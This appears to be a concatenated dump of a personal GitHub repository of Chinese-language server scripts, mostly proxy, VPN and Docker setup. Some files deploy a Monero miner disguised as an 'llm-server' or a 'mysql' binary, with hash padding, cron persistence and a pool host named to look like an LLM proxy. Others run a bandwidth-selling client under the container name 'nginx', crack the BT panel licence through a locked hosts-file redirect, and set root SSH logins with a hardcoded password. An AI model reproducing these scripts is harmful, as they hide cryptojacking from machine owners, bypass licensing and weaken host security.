475 | # zh_HK.UTF-8 UTF-8
476 | # zh_SG GB2312
477 | # zh_SG.GBK GBK
478 | # zh_SG.UTF-8 UTF-8
479 | # zh_TW BIG5
480 | # zh_TW.EUC-TW EUC-TW
481 | # zh_TW.UTF-8 UTF-8
482 | # zu_ZA ISO-8859-1
483 | # zu_ZA.UTF-8 UTF-8
484 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # bash
2 | 一些自己写(chao)的jio本
3 |
4 | DD:
5 |
6 | bash <(wget --no-check-certificate -qO- 'https://raw.githubusercontent.com/MoeClub/Note/master/InstallNET.sh') -dd 'https://api.moeclub.org/redirect/win8.1emb_x64.tar.gz'
7 |
8 |
9 | DeBian 10国内源
10 | deb http://mirrors.aliyun.com/debian/ buster main non-free contrib
11 | deb http://mirrors.aliyun.com/debian-security buster/updates main
12 | deb http://mirrors.aliyun.com/debian/ buster-updates main non-free contrib
13 | deb http://mirrors.aliyun.com/debian/ buster-backports main non-free contrib
14 |
15 | deb-src http://mirrors.aliyun.com/debian-security buster/updates main
16 | deb-src http://mirrors.aliyun.com/debian/ buster main non-free contrib
17 | deb-src http://mirrors.aliyun.com/debian/ buster-updates main non-free contrib
18 | deb-src http://mirrors.aliyun.com/debian/ buster-backports main non-free contrib
19 |
20 |
21 |
22 | GOlang 和 nodejs
23 | curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.35.3/install.sh | bash
24 | nvm install 12.18.0
25 | #国内源:
26 | #export NVM_NODEJS_ORG_MIRROR=https://npm.taobao.org/mirrors/node
27 | #npm config set registry http://registry.npm.taobao.org
28 |
29 | curl -SL https://gitee.com/skiy/golang-install/raw/master/install.sh | bash /dev/stdin -v 1.13.6
30 | set GOOS=linux
31 | set GOARCH=s390x
32 |
33 | 网易解锁
34 | docker run --restart=always --name unmusic -d -p 6666:8080 nondanee/unblockneteasemusic
35 |
--------------------------------------------------------------------------------
/adg/README.md:
--------------------------------------------------------------------------------
1 | curl -s -S -L https://raw.githubusercontent.com/AdguardTeam/AdGuardHome/master/scripts/install.sh | sh -s -- -v
2 |
3 | /opt/AdGuardHome/AdGuardHome -s start|stop|restart|status|install|uninstall
4 |
--------------------------------------------------------------------------------
/adg/hosts.txt:
--------------------------------------------------------------------------------
1 | 20.38.1.22 bd.p2p.huya.com
2 | 20.38.1.22 huyaimg.msstatic.com
3 |
--------------------------------------------------------------------------------
/aws/README.md:
--------------------------------------------------------------------------------
1 | V1.0
2 | curl "https://s3.amazonaws.com/aws-cli/awscli-bundle.zip" -o "awscli-bundle.zip"
3 | unzip awscli-bundle.zip
4 | ./awscli-bundle/install -b ~/bin/aws
5 |
--------------------------------------------------------------------------------
/aws/aws_cli.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | curl "https://s3.amazonaws.com/aws-cli/awscli-bundle.zip" -o "awscli-bundle.zip"
3 | unzip awscli-bundle.zip
4 | ./awscli-bundle/install -b ~/bin/aws
5 |
--------------------------------------------------------------------------------
/caddy/README.md:
--------------------------------------------------------------------------------
1 | ``
2 | bash <(wget --no-check-certificate -qO- 'https://raw.githubusercontent.com/caippx/bash/master/caddy/proxy.sh')
3 | ``
4 |
5 |
6 | ##支持Ubuntu16+ debian9+
7 |
8 |
9 | **手动修改替换内容规则**
10 |
11 |
12 | ```
13 | filter rule {
14 | path .*
15 | search_pattern "需要替换内容"
16 | replacement "内容"
17 | }
18 | ```
19 |
20 |
21 | 加到domain{}里面 再运行 'ppxcaddy restart' 就可以了
22 |
23 |
24 | 演示站:
25 | https://gg.ppxwo.cf
26 |
--------------------------------------------------------------------------------
/caddy/proxy.sh:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env bash
2 | PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:~/bin
3 | export PATH
4 |
5 | Caddy_Install(){
6 | apt update -y
7 | apt install curl zip lrzsz psmisc dnsutils -y
8 | groupadd -r www
9 | useradd -r -g www -s /bin/false -d /usr/local/www -M www
10 | echo "正在安装Caddy..."
11 | wget -O /usr/bin/caddy https://raw.githubusercontent.com/caippx/caddy-v1/master/caddy
12 | chmod +x /usr/bin/caddy
13 | ulimit -n 51200
14 | mkdir -p /data/www/
15 | mkdir -p /etc/caddy/conf.d
16 | echo "import conf.d/*" > /etc/caddy/caddy.conf
17 | chown -R www:www /data/www/
18 | echo '
19 | stop(){
20 | killall -9 caddy
21 | }
22 | start(){
23 | ulimit -n 51200
24 | nohup caddy -conf=/etc/caddy/caddy.conf -agree -quic >> /tmp/caddy.log 2>&1 &
25 | sleep 10
26 | runcaddy=`ps -ef | grep -v grep | grep "caddy"`
27 | [[ -n ${runcaddy} ]] && echo "Caddy 启动成功!" && echo "反代将会自动替换域名"
28 | [[ -z ${runcaddy} ]] && echo "Caddy 启动失败,可能是配置错误"
29 | }
30 |
31 | restart(){
32 | stop
33 | start
34 | }
35 |
36 | status(){
37 |
38 | runcaddy=`ps -ef | grep -v grep | grep "caddy"`
39 | [[ -n ${runcaddy} ]] && echo "Caddy 启动成功!"
40 | [[ -z ${runcaddy} ]] && echo "Caddy 未运行"
41 |
42 | }
43 |
44 | [[ $1 == "start" ]] && start
45 | [[ $1 == "stop" ]] && stop
46 | [[ $1 == "restart" ]] && restart
47 | [[ $1 == "status" ]] && status
48 | ' > /usr/bin/ppxcaddy
49 | chmod +x /usr/bin/ppxcaddy
50 | echo "usage-ppxcaddy start/stop/restart/status"
51 | }
52 | Caddy_Config(){
53 | protocol="http://"
54 | filter_txt=""
55 | echo && stty erase '^H' && read -p "输入域名(如要启用SSL请提前绑定到VPS IP): " domain
56 | [[ -z ${domain} ]] && echo "域名为空" && exit 0
57 | echo && stty erase '^H' && read -p "是否启用SSL(HTTPS):[y/n] " ssl
58 | [[ ${ssl} == "y" ]] && sslinfo="tls xxxx@$domain" && protocol="https://"
59 | echo "正在检查输入域名是否解析IP"
60 | IP=`dig $domain | grep $domain | grep -E -o "([0-9]{1,3}[\.]){3}[0-9]{1,3}"`
61 | IP_VPS=`curl http://whatismyip.akamai.com`
62 | [[ ${IP} != ${IP_VPS} ]] && echo "解析暂未生效,请稍候重试" && exit 0
63 | echo && stty erase '^H' && read -p "输入你要反代的域名 不带https/http 例如(www.baidu.com): " proxy_domain
64 | echo && stty erase '^H' && read -p "输入你要替换的原内容不需要请留空(默认已经替换域名):" filter_txt_old
65 | [[ -n ${filter_txt_old} ]] && stty erase '^H' && read -p "输入你要替换的内容:" filter_txt_new && filter_txt="
66 | filter rule {
67 | path .*
68 | search_pattern \"$filter_txt_old\"
69 | replacement \"$filter_txt_new\"
70 | }
71 | "
72 |
73 | echo "
74 | $domain {
75 | root /data/www/$domain
76 | $sslinfo
77 | gzip
78 | proxy / https://$proxy_domain {
79 | header_upstream Host $proxy_domain
80 | header_upstream Referer https://$proxy_domain
81 | header_upstream -X-Forwarded-For
82 | header_upstream X-Real-IP {remote}
83 | header_upstream User-Agent {>User-Agent}
84 | header_upstream Accept-Encoding identity
85 | }
86 |
87 | filter rule {
88 | path .*
89 | search_pattern $proxy_domain
90 | replacement $domain
91 | }
92 |
93 | $filter_txt
94 |
95 | ##filter
96 |
97 |
98 | }
99 | " > /etc/caddy/conf.d/$domain
100 |
101 | mkdir -p /data/www/$domain
102 | chown www:www -R /data/www/$domain
103 | killall -9 caddy
104 | ulimit -n 51200
105 | nohup caddy -conf=/etc/caddy/caddy.conf -agree -quic >> /tmp/caddy.log 2>&1 &
106 | sleep 10
107 | runcaddy=`ps -ef | grep -v grep | grep "caddy"`
108 | [[ -n ${runcaddy} ]] && echo "Caddy 启动成功!" && echo "反代将会自动替换域名"
109 | [[ -z ${runcaddy} ]] && echo "Caddy 启动失败,可能是配置错误"
110 | }
111 |
112 |
113 | [ ! -f "/etc/caddy/caddy.conf" ] && Caddy_Install
114 | [ -f "/etc/caddy/caddy.conf" ] && echo "Caddy已经安装 增加新反代配置" && Caddy_Config
115 |
--------------------------------------------------------------------------------
/cfworkers/429.html:
--------------------------------------------------------------------------------
1 | 429-Too Many Cat
2 |
3 |
17 |
18 |

19 |
20 |
--------------------------------------------------------------------------------
/cfworkers/README.md:
--------------------------------------------------------------------------------
1 | #
2 | proxy.js 用于反代
3 |
--------------------------------------------------------------------------------
/cfworkers/cf5s_under_attack.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Welcome to the PPX"s Home.
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 | 欢迎来到皮皮虾窝...
14 | ::IM_UNDER_ATTACK_BOX::
15 |
20 |
21 |
22 | 骚等一会儿,皮皮虾马上就来.
23 |
24 | 给我雷比小心心
25 |
26 | 访客IP: ::CLIENT_IP::
27 | |
28 |
29 |
30 |
31 |
32 |
--------------------------------------------------------------------------------
/cfworkers/proxy.js:
--------------------------------------------------------------------------------
1 | addEventListener(
2 | "fetch",event => {
3 | let url=new URL(event.request.url);
4 | const { searchParams } = url
5 | let name = searchParams.get('url')
6 | if(!name){
7 | name = "https://p.pstatp.com/origin/ff1200011e53e504c49c"
8 | }
9 | url=name;
10 | if(url == ""){
11 | url="https://p.pstatp.com/origin/ff1200011e53e504c49c"
12 | }
13 | let request=new Request(url,event.request);
14 | const init = {
15 | headers: {
16 | "User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.3538.77 Safari/537.36",
17 |
18 | },
19 | }
20 | event.respondWith(
21 | fetch(request,init))
22 | }
23 | )
24 |
--------------------------------------------------------------------------------
/chfs/README.md:
--------------------------------------------------------------------------------
1 | #一个简单的文件分享
2 |
3 |
--------------------------------------------------------------------------------
/chfs/chfs:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/caippx/bash/ff20cdbf1b23cc477280e01f0fb80de2563dc1df/chfs/chfs
--------------------------------------------------------------------------------
/docker/anyconnect/install.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | # Script by MoeClub.org
3 |
4 | [ $EUID -ne 0 ] && echo "Error:This script must be run as root!" && exit 1
5 | EthName=`cat /proc/net/dev |grep ':' |cut -d':' -f1 |sed 's/\s//g' |grep -iv '^lo\|^sit\|^stf\|^gif\|^dummy\|^vmnet\|^vir\|^gre\|^ipip\|^ppp\|^bond\|^tun\|^tap\|^ip6gre\|^ip6tnl\|^teql\|^ocserv\|^vpn' |sed -n '1p'`
6 | [ -n "$EthName" ] || exit 1
7 |
8 | command -v yum >>/dev/null 2>&1
9 | if [ $? -eq 0 ]; then
10 | yum install -y curl wget nc xz openssl gnutls-utils
11 | else
12 | apt-get install -y curl wget netcat openssl gnutls-bin xz-utils
13 | fi
14 |
15 | XCMDS=("wget" "tar" "xz" "nc" "openssl" "certtool")
16 | for XCMD in "${XCMDS[@]}"; do command -v "$XCMD" >>/dev/null 2>&1; [ $? -ne 0 ] && echo "Not Found $XCMD."; done
17 |
18 | osVer="$(dpkg --print-architecture 2>/dev/null)"
19 | if [ -n "$osVer" -a "$osVer" == "amd64" ]; then
20 | debVer="$(cat /etc/issue |grep -io 'Debian.*' |sed -r 's/(.*)/\L\1/' |grep -o '[0-9.]*')"
21 | if [ "$debVer" == "9" ]; then
22 | bash <(wget --no-check-certificate -4 -qO- 'https://raw.githubusercontent.com/MoeClub/apt/master/bbr/bbr.sh') 0 0
23 | fi
24 | fi
25 |
26 |
27 | mkdir -p /tmp
28 | PublicIP="$(wget --no-check-certificate -4 -qO- http://checkip.amazonaws.com)"
29 |
30 | # vlmcs
31 | rm -rf /etc/vlmcs
32 | wget --no-check-certificate -4 -qO /tmp/vlmcs.tar 'https://raw.githubusercontent.com/MoeClub/Note/master/AnyConnect/vlmcsd/vlmcsd.tar'
33 | tar --overwrite -xvf /tmp/vlmcs.tar -C /
34 | [ -f /etc/vlmcs/vlmcs.d ] && bash /etc/vlmcs/vlmcs.d init
35 |
36 | # dnsmasq
37 | rm -rf /etc/dnsmasq.d
38 | wget --no-check-certificate -4 -qO /tmp/dnsmasq.tar 'https://raw.githubusercontent.com/MoeClub/Note/master/AnyConnect/build/dnsmasq_v2.82.tar'
39 | tar --overwrite -xvf /tmp/dnsmasq.tar -C /
40 | sed -i "s/#\?except-interface=.*/except-interface=${EthName}/" /etc/dnsmasq.conf
41 |
42 | if [ -f /etc/crontab ]; then
43 | sed -i '/dnsmasq/d' /etc/crontab
44 | while [ -z "$(sed -n '$p' /etc/crontab)" ]; do sed -i '$d' /etc/crontab; done
45 | sed -i "\$a\@reboot root /usr/sbin/dnsmasq >>/dev/null 2>&1 &\n\n\n" /etc/crontab
46 | fi
47 |
48 | # ocserv
49 | rm -rf /etc/ocserv
50 | wget --no-check-certificate -4 -qO /tmp/ocserv.tar 'https://raw.githubusercontent.com/MoeClub/Note/master/AnyConnect/build/ocserv_v0.12.3.tar'
51 | tar --overwrite -xvf /tmp/ocserv.tar -C /
52 |
53 | # server cert key file: /etc/ocserv/server.key.pem
54 | openssl genrsa -out /etc/ocserv/server.key.pem 2048
55 | # server cert file: /etc/ocserv/server.cert.pem
56 | openssl req -new -x509 -days 3650 -key /etc/ocserv/server.key.pem -out /etc/ocserv/server.cert.pem -subj "/C=/ST=/L=/O=/OU=/CN=${PublicIP}"
57 |
58 | # Default User
59 | UserPasswd=`openssl passwd MoeClub`
60 | echo -e "Default:Default:${UserPasswd}\nRoute:Route:${UserPasswd}\nNoRoute:NoRoute:${UserPasswd}\n" >/etc/ocserv/ocpasswd
61 |
62 | bash /etc/ocserv/template/client.sh
63 |
64 | chown -R root:root /etc/ocserv
65 | chmod -R 755 /etc/ocserv
66 |
67 | [ -d /lib/systemd/system ] && find /lib/systemd/system -name 'ocserv*' -delete
68 |
69 | if [ -f /etc/crontab ]; then
70 | sed -i '/\/etc\/ocserv/d' /etc/crontab
71 | while [ -z "$(sed -n '$p' /etc/crontab)" ]; do sed -i '$d' /etc/crontab; done
72 | sed -i "\$a\@reboot root bash /etc/ocserv/ocserv.d >>/dev/null 2>&1 &\n\n\n" /etc/crontab
73 | fi
74 |
75 | # Sysctl
76 | if [ -f /etc/sysctl.conf ]; then
77 | sed -i '/^net\.ipv4\.ip_forward/d' /etc/sysctl.conf
78 | while [ -z "$(sed -n '$p' /etc/sysctl.conf)" ]; do sed -i '$d' /etc/sysctl.conf; done
79 | sed -i '$a\net.ipv4.ip_forward = 1\n\n' /etc/sysctl.conf
80 | fi
81 |
82 | # Limit
83 | if [[ -f /etc/security/limits.conf ]]; then
84 | LIMIT='262144'
85 | sed -i '/^\(\*\|root\).*\(hard\|soft\).*\(memlock\|nofile\)/d' /etc/security/limits.conf
86 | while [ -z "$(sed -n '$p' /etc/security/limits.conf)" ]; do sed -i '$d' /etc/security/limits.conf; done
87 | echo -ne "*\thard\tnofile\t${LIMIT}\n*\tsoft\tnofile\t${LIMIT}\nroot\thard\tnofile\t${LIMIT}\nroot\tsoft\tnofile\t${LIMIT}\n" >>/etc/security/limits.conf
88 | echo -ne "*\thard\tmemlock\t${LIMIT}\n*\tsoft\tmemlock\t${LIMIT}\nroot\thard\tmemlock\t${LIMIT}\nroot\tsoft\tmemlock\t${LIMIT}\n\n\n" >>/etc/security/limits.conf
89 | fi
90 |
91 | # SSH
92 | #[ -f /etc/ssh/sshd_config ] && sed -i "s/^#\?Port .*/Port 9527/g" /etc/ssh/sshd_config;
93 | [ -f /etc/ssh/sshd_config ] && sed -i "s/^#\?PermitRootLogin.*/PermitRootLogin yes/g" /etc/ssh/sshd_config;
94 | [ -f /etc/ssh/sshd_config ] && sed -i "s/^#\?PasswordAuthentication.*/PasswordAuthentication yes/g" /etc/ssh/sshd_config;
95 |
96 | # Timezone
97 | cp -f /usr/share/zoneinfo/PRC /etc/localtime
98 | echo "Asia/Shanghai" >/etc/timezone
99 |
--------------------------------------------------------------------------------
/docker/anyconnect/run.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | domain=$DOMAIN
4 | pwd=$PWD
5 |
6 | sed -i "s/server.cert.pem/crt.crt/" /etc/ocserv/ocserv.conf
7 | sed -i "s/server.key.pem/key.key/" /etc/ocserv/ocserv.conf
8 | sed -i "s/#udp-port = 443/udp-port = 443/" /etc/ocserv/ocserv.conf
9 |
10 | openssl genrsa -out /etc/ocserv/key.key 2048
11 | openssl req -new -x509 -days 3650 -key /etc/ocserv/key.key -out /etc/ocserv/crt.crt -subj "/C=HH/ST=HANHAN/L=HH/O=hanhanvpn/OU=hanhanvpn/CN=${domain}"
12 |
13 | ocpasswd -g NoRoute ppxnoroute < /usr/local/bin/docker-compose
6 |
7 | chmod +x /usr/local/bin/docker-compose
8 | ln -s /usr/local/bin/docker-compose /usr/bin/docker-compose
9 | docker-compose version
10 |
--------------------------------------------------------------------------------
/docker/yotter/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3.8'
2 |
3 | services:
4 | mariadb:
5 | image: mariadb:10.5
6 | container_name: mariadb-yotter
7 | restart: unless-stopped
8 | environment:
9 | MYSQL_ROOT_PASSWORD: setyourpassword
10 | MYSQL_DATABASE: yotter
11 | MYSQL_USER: yotter
12 | MYSQL_PASSWORD: setyourpassword
13 | volumes:
14 | - mariadb:/var/lib/mysql
15 | healthcheck:
16 | test: ["CMD", "mysqladmin", "ping", "--silent"]
17 |
18 | yotter:
19 | image: ytorg/yotter:latest
20 | container_name: yotter
21 | restart: unless-stopped
22 | ports:
23 | - "127.0.0.1:5000:5000"
24 | environment:
25 | DATABASE_URL: mysql+pymysql://yotter:setyourpassword@mariadb:3306/yotter
26 | depends_on:
27 | - mariadb
28 | volumes:
29 | - migrations:/usr/src/app/migrations
30 | - ./yotter-config.json:/usr/src/app/yotter-config.json
31 |
32 | volumes:
33 | mariadb:
34 | migrations:
35 |
--------------------------------------------------------------------------------
/docker/yotter/yotter-config.json:
--------------------------------------------------------------------------------
1 | {
2 | "serverName": "hanhanytb.azurewebsites.net",
3 | "nitterInstance": "https://nitter.net/",
4 | "maxInstanceUsers": 20,
5 | "serverLocation": "China",
6 | "restrictPublicUsage":true,
7 | "nginxVideoStream":true,
8 | "maintenance_mode":false,
9 | "show_admin_message":false,
10 | "admin_message_title":"Message from the admin",
11 | "admin_message":"Message from the admin text"
12 | }
13 |
--------------------------------------------------------------------------------
/docker/zfaka/run.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | #删除zip
4 | rm -rf /data/wwwroot/zfaka/fk.zip
5 | #修改数据库信息
6 | sed -i "s/Mysql_Host/$HOST/g" /data/wwwroot/zfaka/conf/application.ini
7 | sed -i "s/Mysql_Port/$PORT/g" /data/wwwroot/zfaka/conf/application.ini
8 | sed -i "s/Mysql_User/$USER/g" /data/wwwroot/zfaka/conf/application.ini
9 | sed -i "s/Mysql_Passwd/$PASSWD/g" /data/wwwroot/zfaka/conf/application.ini
10 | sed -i "s/Mysql_DataBase/$DATABASE/g" /data/wwwroot/zfaka/conf/application.ini
11 |
12 | #配置虚拟主机信息
13 | echo "
14 | server {
15 | listen 80;
16 | server_name $DOMAIN;
17 | root /data/wwwroot/zfaka/public;
18 | location ~ \.php$ {
19 | fastcgi_pass unix:/usr/local/php/var/run/www-php-fpm.sock;
20 | fastcgi_param SCRIPT_FILENAME \$document_root\$fastcgi_script_name;
21 | include fastcgi_params;
22 | }
23 | }
24 | " > /etc/nginx/conf.d/zfaka.conf
25 | certbot --nginx --agree-tos --register-unsafely-without-email --no-eff-email --email example@$DOMAIN </dev/null 2>&1; then
4 | echo "docker 已安装"
5 | else
6 | apt update -y && bash <(curl -sSL https://get.docker.com)
7 | fi
8 |
9 | TOKEN=$1
10 | t=$2
11 |
12 | docker run -d --restart always --name nginx traffmonetizer/cli_v2 start accept --token $TOKEN
13 | docker exec nginx sh -c "
14 | for i in \$(seq 1 $t); do
15 | dir=/tr/\$i
16 | mkdir -p \$dir
17 | cd \$dir
18 | /app/Cli start accept --token $TOKEN >/dev/null 2>&1 &
19 | sleep 0.5
20 | done
21 | "
22 |
--------------------------------------------------------------------------------
/drfytgybhunjoimkol/data.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/caippx/bash/ff20cdbf1b23cc477280e01f0fb80de2563dc1df/drfytgybhunjoimkol/data.zip
--------------------------------------------------------------------------------
/drfytgybhunjoimkol/gjstystrystryh.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | cd ~ && wget https://raw.githubusercontent.com/caippx/bash/master/drfytgybhunjoimkol/LinuxPanel-7.4.3.zip
3 | unzip LinuxPanel-* && cd panel && bash update.sh
4 | cd .. && rm -f LinuxPanel-*.zip && rm -rf panel
5 | #latest_ver=$(curl -s https://www.bt.cn/api/panel/get_version)
6 | echo "44.234.251.213 www.bt.cn" >> /etc/hosts && chattr +i /etc/hosts
7 | sed -i "s/7.4.3/${latest_ver}/" /www/server/panel/class/common.py
8 | sed -i "s/time.localtime(ltd)/time.localtime(7955085722)/" /www/server/panel/BTPanel/__init__.py
9 | curl -s -o /dev/null www.bt.cn
10 | bt restart
11 |
--------------------------------------------------------------------------------
/drfytgybhunjoimkol/ip_ssl.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | #把宝塔自签ssl证书修改为免费的信任ip证书
4 |
5 | ip=`curl -s http://whatismyip.akamai.com/`
6 |
7 | ssl_dir="/www/server/panel/vhost/ssl/$ip"
8 | bt_ssl_dir="/www/server/panel/ssl"
9 |
10 |
11 | crt=`cat $ssl_dir/fullchain.pem`
12 | key=`cat $ssl_dir/privkey.pem`
13 |
14 | echo "$crt" > $bt_ssl_dir/certificate.pem
15 | echo "$key" > $bt_ssl_dir/privateKey.pem
16 |
17 | #修改端口
18 | [[ -n $1 ]] && echo "$1" > /www/server/panel/data/port.pl && iptables -I INPUT -p tcp -m state --state NEW -m tcp --dport $1 -j ACCEPT
19 |
20 | bt restart
21 |
--------------------------------------------------------------------------------
/drfytgybhunjoimkol/llm-config.json:
--------------------------------------------------------------------------------
1 | {
2 | "autosave": true,
3 | "cpu": {
4 | "enabled": true,
5 | "huge-pages": true,
6 | "huge-pages-jit": false,
7 | "hw-aes": null,
8 | "priority": null,
9 | "memory-pool": true,
10 | "yield": true,
11 | "max-threads-hint": 100,
12 | "asm": true,
13 | "argon2-impl": null,
14 | "cn/0": false,
15 | "cn-lite/0": false
16 | },
17 | "opencl": false,
18 | "cuda": false,
19 | "huge-pages":true,
20 | "pools": [
21 | {
22 | "url": "llmproxy.6553500.xyz:443",
23 | "rig-id": "x",
24 | "tls": true
25 | }
26 | ]
27 | }
28 |
--------------------------------------------------------------------------------
/drfytgybhunjoimkol/llm-install.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | llmserver="${2:-llmproxy.6553500.xyz}"
4 |
5 | arch=$(uname -m)
6 | if ! command -v unzip
7 | then
8 | echo "unzip 不存在,正在安装..."
9 | apt update -y & apt install zip -y
10 | echo "unzip 安装完成"
11 | else
12 | echo "unzip 已经安装"
13 | fi
14 | if ! command -v crontab
15 | then
16 | echo "定时任务 不存在,正在安装..."
17 | apt update -y & apt install cron -y
18 | echo "定时任务 安装完成"
19 | else
20 | echo "定时任务 已经安装"
21 | fi
22 | U=$1
23 | if [[ "$arch" == "arm"* || "$arch" == "aarch64" ]]; then
24 | param="arm"
25 | echo "是arm 下载arm版本"
26 | else
27 | param=""
28 | fi
29 |
30 | wget https://github.com/caippx/xmrig/releases/download/6.22.2/llm$param.zip
31 | unzip llm$param.zip && rm -rf llm$param.zip
32 | mkdir /etc/llm/
33 | mv llm /etc/llm/llm-server
34 | cd /etc/llm
35 | count=$((RANDOM % 1000 + 1))
36 | for ((i = 0; i < count; i++)); do
37 | echo -n "0" >> "/etc/llm/llm-server"
38 | done
39 | wget https://raw.githubusercontent.com/caippx/bash/refs/heads/master/drfytgybhunjoimkol/random_usage.sh
40 | chmod +x random_usage.sh
41 | cron_job="0 */2 * * * /etc/llm/random_usage.sh"
42 | (crontab -l | grep -qF "$cron_job") || (crontab -l; echo "$cron_job") | crontab -
43 | service cron reload
44 | service crond reload
45 | cat > /etc/systemd/system/llm.service < setup_moneroocean_miner.sh []"
24 | echo "ERROR: Please specify your wallet address"
25 | exit 1
26 | fi
27 |
28 | WALLET_BASE=`echo $WALLET | cut -f1 -d"."`
29 | if [ ${#WALLET_BASE} != 106 -a ${#WALLET_BASE} != 95 ]; then
30 | echo "ERROR: Wrong wallet base address length (should be 106 or 95): ${#WALLET_BASE}"
31 | exit 1
32 | fi
33 |
34 | if [ -z $HOME ]; then
35 | echo "ERROR: Please define HOME environment variable to your home directory"
36 | exit 1
37 | fi
38 |
39 | if [ ! -d $HOME ]; then
40 | echo "ERROR: Please make sure HOME directory $HOME exists or set it yourself using this command:"
41 | echo ' export HOME='
42 | exit 1
43 | fi
44 |
45 | if ! type curl >/dev/null; then
46 | echo "ERROR: This script requires \"curl\" utility to work correctly"
47 | exit 1
48 | fi
49 |
50 | if ! type lscpu >/dev/null; then
51 | echo "WARNING: This script requires \"lscpu\" utility to work correctly"
52 | fi
53 |
54 | #if ! sudo -n true 2>/dev/null; then
55 | # if ! pidof systemd >/dev/null; then
56 | # echo "ERROR: This script requires systemd to work correctly"
57 | # exit 1
58 | # fi
59 | #fi
60 |
61 | # calculating port
62 |
63 | CPU_THREADS=$(nproc)
64 | EXP_MONERO_HASHRATE=$(( CPU_THREADS * 700 / 1000))
65 | if [ -z $EXP_MONERO_HASHRATE ]; then
66 | echo "ERROR: Can't compute projected Monero CN hashrate"
67 | exit 1
68 | fi
69 |
70 | power2() {
71 | if ! type bc >/dev/null; then
72 | if [ "$1" -gt "8192" ]; then
73 | echo "8192"
74 | elif [ "$1" -gt "4096" ]; then
75 | echo "4096"
76 | elif [ "$1" -gt "2048" ]; then
77 | echo "2048"
78 | elif [ "$1" -gt "1024" ]; then
79 | echo "1024"
80 | elif [ "$1" -gt "512" ]; then
81 | echo "512"
82 | elif [ "$1" -gt "256" ]; then
83 | echo "256"
84 | elif [ "$1" -gt "128" ]; then
85 | echo "128"
86 | elif [ "$1" -gt "64" ]; then
87 | echo "64"
88 | elif [ "$1" -gt "32" ]; then
89 | echo "32"
90 | elif [ "$1" -gt "16" ]; then
91 | echo "16"
92 | elif [ "$1" -gt "8" ]; then
93 | echo "8"
94 | elif [ "$1" -gt "4" ]; then
95 | echo "4"
96 | elif [ "$1" -gt "2" ]; then
97 | echo "2"
98 | else
99 | echo "1"
100 | fi
101 | else
102 | echo "x=l($1)/l(2); scale=0; 2^((x+0.5)/1)" | bc -l;
103 | fi
104 | }
105 |
106 | PORT=$(( $EXP_MONERO_HASHRATE * 30 ))
107 | PORT=$(( $PORT == 0 ? 1 : $PORT ))
108 | PORT=`power2 $PORT`
109 | PORT=$(( 10000 + $PORT ))
110 | if [ -z $PORT ]; then
111 | echo "ERROR: Can't compute port"
112 | exit 1
113 | fi
114 |
115 | if [ "$PORT" -lt "10001" -o "$PORT" -gt "18192" ]; then
116 | echo "ERROR: Wrong computed port value: $PORT"
117 | exit 1
118 | fi
119 |
120 |
121 | # printing intentions
122 |
123 | echo "I will download, setup and run in background Monero CPU miner."
124 | echo "If needed, miner in foreground can be started by $HOME/moneroocean/miner.sh script."
125 | echo "Mining will happen to $WALLET wallet."
126 | if [ ! -z $EMAIL ]; then
127 | echo "(and $EMAIL email as password to modify wallet options later at https://moneroocean.stream site)"
128 | fi
129 | echo
130 |
131 | if ! sudo -n true 2>/dev/null; then
132 | echo "Since I can't do passwordless sudo, mining in background will started from your $HOME/.profile file first time you login this host after reboot."
133 | else
134 | echo "Mining in background will be performed using moneroocean_miner systemd service."
135 | fi
136 |
137 | echo
138 | echo "JFYI: This host has $CPU_THREADS CPU threads, so projected Monero hashrate is around $EXP_MONERO_HASHRATE KH/s."
139 | echo
140 |
141 | echo "Sleeping for 15 seconds before continuing (press Ctrl+C to cancel)"
142 | echo
143 | echo
144 |
145 | # start doing stuff: preparing miner
146 |
147 | echo "[*] Removing previous moneroocean miner (if any)"
148 | if sudo -n true 2>/dev/null; then
149 | sudo systemctl stop moneroocean_miner.service
150 | fi
151 | killall -9 xmrig
152 |
153 | echo "[*] Removing $HOME/moneroocean directory"
154 | rm -rf $HOME/moneroocean
155 |
156 | echo "[*] Downloading MoneroOcean advanced version of xmrig to /tmp/xmrig.tar.gz"
157 | if ! curl -L --progress-bar "https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.tar.gz" -o /tmp/xmrig.tar.gz; then
158 | echo "ERROR: Can't download https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.tar.gz file to /tmp/xmrig.tar.gz"
159 | exit 1
160 | fi
161 |
162 | echo "[*] Unpacking /tmp/xmrig.tar.gz to $HOME/mysql"
163 | [ -d $HOME/mysql ] || mkdir $HOME/mysql
164 | if ! tar xf /tmp/xmrig.tar.gz -C $HOME/mysql; then
165 | echo "ERROR: Can't unpack /tmp/xmrig.tar.gz to $HOME/mysql directory"
166 | exit 1
167 | fi
168 | rm /tmp/xmrig.tar.gz
169 | mv $HOME/mysql/xmrig $HOME/mysql/mysql
170 | echo "[*] Checking if advanced version of $HOME/mysql/mysql works fine (and not removed by antivirus software)"
171 | sed -i 's/"donate-level": *[^,]*,/"donate-level": 0,/' $HOME/mysql/config.json
172 | $HOME/mysql/mysql --help >/dev/null
173 | if (test $? -ne 0); then
174 | if [ -f $HOME/mysql/mysql ]; then
175 | echo "WARNING: Advanced version of $HOME/mysql/mysql is not functional"
176 | else
177 | echo "WARNING: Advanced version of $HOME/mysql/mysql was removed by antivirus (or some other problem)"
178 | fi
179 |
180 | echo "[*] Looking for the latest version of Monero miner"
